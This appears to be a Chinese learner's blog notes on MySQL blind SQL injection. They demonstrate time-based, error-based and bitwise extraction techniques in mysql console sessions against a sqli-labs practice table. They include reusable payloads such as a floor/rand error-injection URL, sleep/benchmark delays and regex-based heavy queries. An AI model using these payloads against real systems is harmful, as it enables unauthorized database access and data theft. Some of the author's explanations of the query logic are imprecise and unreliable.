盲注

两个基本特性

AND 0

在注入中,我们经常用到and连接两个并列语句,得出的结果是他们的交集:

1
2
3
4
mysql> select * from users where id = 1 and 1 and sleep(1);
Empty set (1.00 sec)
mysql> select * from users where id = 1 and 0 and sleep(1);
Empty set (0.00 sec)

这里第一条语句执行了sleep(1),但是却没有结果显示,个人理解,这是因为 id=1 and 1 是有交集的,但是再跟and sleep(1) 得到的是空集 ,所以没有结果出现,但是因为是条件为真,执行了sleep。

第二条语句什么都没执行,因为id=1 and 0 集合为 0,注意这里说的不是空,而是为0,并且和 and sleep(1)交集也为0,所以这里个人认为是获得的最条件为假,所以什么都没有执行。

OR 1

or 是求并集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
mysql> select * from users where id=1 or 1 or sleep(1);
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.00 sec)
mysql> select * from users where id=1 or 0 or sleep(1);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (12.01 sec)

第一条语句,我理解的是类似于if()的语法,ture则不执行后面的sleep,false则执行。这里 id =1 or 1 为真,求并集,所以数据库所有的内容打印出来,不执行sleep语句。

第二条语句,因为 id=1 or 0 为假,所以执行了sleep语句,并且交集为id=1,打印了第一条语句。但是回显时间是12秒,因为是 or 表示并集,所以sleep会将数据表里面的数据都遍历一遍,在打印出要的结果。

下面很多语句,用到的都是上面两个核心思想

时间盲注

基于时间的盲注的一般思路是延迟注入,说白了就是将判断条件结合延迟函数注入进入,然后根据语句执行时间的长短来确定判断语句返回的 TRUE 还是 FALSE,从而去猜解一些未知的字段。

elt()

1
2
3
4
5
6
7
8
9
10
11
elt(N,str1,str2,str3...)
说明:若N=1,则返回str1,N=2则返回str2,以此类推。如果N大于参数数目或小于1则返回NULL.
mysql> select * from users where id=1 and elt((1>1)+1,1,sleep(1));
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where id=1 and elt((1=1)+1,1,sleep(1));
Empty set (1.00 sec)

这里N的部分就可以放我们放想要获取的内容。

sleep() and benchmark()

1
2
3
4
5
6
7
8
常见的用法我就不说了,这里看到一种以前没见的用法,记录一下。
mysql> select * from users where id =1-sleep(1);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (13.11 sec)

在这里用“-” 连接sleep()可以达到刺探数据库表中的行数,虽然只是sleep(1),但实际上,它将数据库中每一条数据都遍历一遍,所以结果会是13秒。

1
2
3
benchmark(times,Execution statement)
这个函数是将前面后面语句执行多少次来实现延迟,听说比较烧cpu。
sql=select * from users where id = 1-benchmark(1000000,rand())

结合时间注入达到刺探字段数目

select * from users where id =1-if(substr(version(),1,1)='10',sleep(10),0)

Heavy Query 笛卡儿积

这个姿势我也没怎么看懂,原理是将简单的表查询不断叠加,直到获得到我们想要的延迟。

1
2
3
4
5
6
7
8
mysql> SELECT count(*) FROM information_schema.columns A,information_schema.columns B,informati
on_schema.columns C;
+------------+
| count(*) |
+------------+
| 9129329000 |
+------------+
1 row in set (2 min 36.17 sec)

Get_lock() 枷锁机制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Get_lock(str,timeout)
to obtain a lock with a name given by the string str, using a timeout of
timeout seconds. A negative timeout value means infinite timeout. The lock is
exclusive. While held by one session, other sessions cannot obtain a lock of
the same name.
基本语句:select Get_lock(str,timeout)
select release_lock(str)
首先现在一个终端上锁住username字段:
mysql> select get_lock('username',10);
+-------------------------+
| get_lock('username',10) |
+-------------------------+
| 1 |
+-------------------------+
1 row in set (0.00 sec)
在一个新的终端在尝试锁住username:
mysql> select get_lock('username',10);
+-------------------------+
| get_lock('username',10) |
+-------------------------+
| 0 |
+-------------------------+
1 row in set (10.00 sec)

可以看到,第二个终端失败并且延时了10秒钟,因此我们可以用这个方法去进行时间盲注。

1.通过注入对某个字段加锁:

select * from users where id=1 and select get_lock('username',10);

2.构造条件经行时间注入:

select * from users where id =1 and 1 and select get_lock('username',10);

select * from users where id =1 and 0 and select get_lock('username',10);

其中再 and 1and 0 分别是我们获得的正确和错误的数据。

这个方法有个限制性条件就是数据库必须永久性连接,否则终端断开就会自动解锁了,php中用mysql_pconnect()来进行永久性连接。

Heavy Query正则表达式

mysql 中的正则有三种常用的方式 like 、rlike 和 regexp ,其中 Like 是精确匹配,而 rlike 和 regexp 是模糊匹配

  1. like 常用通配符:%_escape
1
2
3
4
5
% : 匹配0个或任意多个字符

_ : 匹配任意一个字符

escape : 转义字符,可匹配%和_。如SELECT * FROM table_name WHERE column_name LIKE '/%/_%_' ESCAPE'/'
  1. rlike和regexp:常用通配符:.*[]^${n}
1
2
3
4
5
6
7
8
9
10
11
. : 匹配任意单个字符

* : 匹配0个或多个前一个得到的字符

[] : 匹配任意一个[]内的字符,[ab]*可匹配空串、a、b、或者由任意个a和b组成的字符串。

^ : 匹配开头,如^s匹配以s或者S开头的字符串。

$ : 匹配结尾,如s$匹配以s结尾的字符串。

{n} : 匹配前一个字符反复n次。

来自一叶飘零师傅的payload参考:

1
select * from test where id =1 and IF(1,concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0) and '1'='1';

报错盲注

floor()+count()+group by

万能payload:

1
http://localhost/sqli/less-5/?id=1' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

mysql位操作符

使用&

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
mysql> select get_lock('username',10);
+-------------------------+
| get_lock('username',10) |
+-------------------------+
| 0 |
+-------------------------+
1 row in set (10.00 sec)

mysql> select * from users where id = 1 & 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id = 1 & 0;
Empty set (0.00 sec)

使用|

1
2
3
4
5
6
7
8
9
10
mysql> select * from users where id = 0 | 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id = 0 | 0;
Empty set (0.00 sec)

使用^

1
2
3
4
5
6
7
8
9
10
mysql> select * from users where id = 1^0; 
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.14 sec)

mysql> select * from users where id = 1^1;
Empty set (0.00 sec)

使用~

这个方法是这样的,当系统不允许输入大的数字的时候,可能是限制了字符的长度,限制了不能使用科学计数法,但是我们还是想让其报错,我们就能采取这种方式,exp()等溢出报错;

1
2
3
4
5
6
7
8
mysql> select * from users where id =1 and if(1,1,exp(~(select * from (select version())a)));
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.03 sec) mysql> select * from users where id =1 and if(0,1,exp(~(select * from (select version())a)));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '5.5.40' from dual)))'

使用 >> 和<<

这个用到的是二分法和二进制的计算,比如我们想要获取user()的第一个字符:

1.首先我们向右移7位,(注意: 这里是从0开始算的):

1
2
3
4
5
6
7
mysql> select (ascii((substr(user(),1,1))) >> 7)=0; 
+--------------------------------------+
| (ascii((substr(user(),1,1))) >> 7)=0 |
+--------------------------------------+
| 1 |
+--------------------------------------+
1 row in set (0.00 sec)

所以确定第一位:0???????

2.那么第二位肯定就是0或1了:

1
2
3
4
5
6
7
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
+--------------------------------------+
| (ascii((substr(user(),1,1))) >> 6)=0 |
+--------------------------------------+
| 0 |
+--------------------------------------+
1 row in set (0.00 sec)

错误,所以就是01??????

3.那么第三位就是010=2或者110=3了:

1
2
3
4
5
6
7
mysql> select (ascii((substr(user(),1,1))) >> 5)=2; 
+--------------------------------------+
| (ascii((substr(user(),1,1))) >> 5)=2 |
+--------------------------------------+
| 0 |
+--------------------------------------+
1 row in set (0.00 sec)

确定第三位是011?????

………

以此类推,最后一位:

1
2
3
4
5
6
7
mysql> select (ascii((substr(user(),1,1))) >> 0)=114; 
+----------------------------------------+
| (ascii((substr(user(),1,1))) >> 0)=114 |
+----------------------------------------+
| 1 |
+----------------------------------------+
1 row in set (0.00 sec)

最终的第一个字符的二进制是:01110010

1
2
3
4
5
6
7
mysql> select b'01110010';
+-------------+
| b'01110010' |
+-------------+
| r |
+-------------+
1 row in set (0.00 sec)

得到第一个字符串 ‘r’;

END

参考链接:

  1. https://www.anquanke.com/post/id/170626#h2-17
  2. https://www.freebuf.com/articles/web/175049.html
  3. https://zhuanlan.zhihu.com/p/35245598

今天一天都只是再命令行端进行的检验,明天找点实例练练手,在巩固。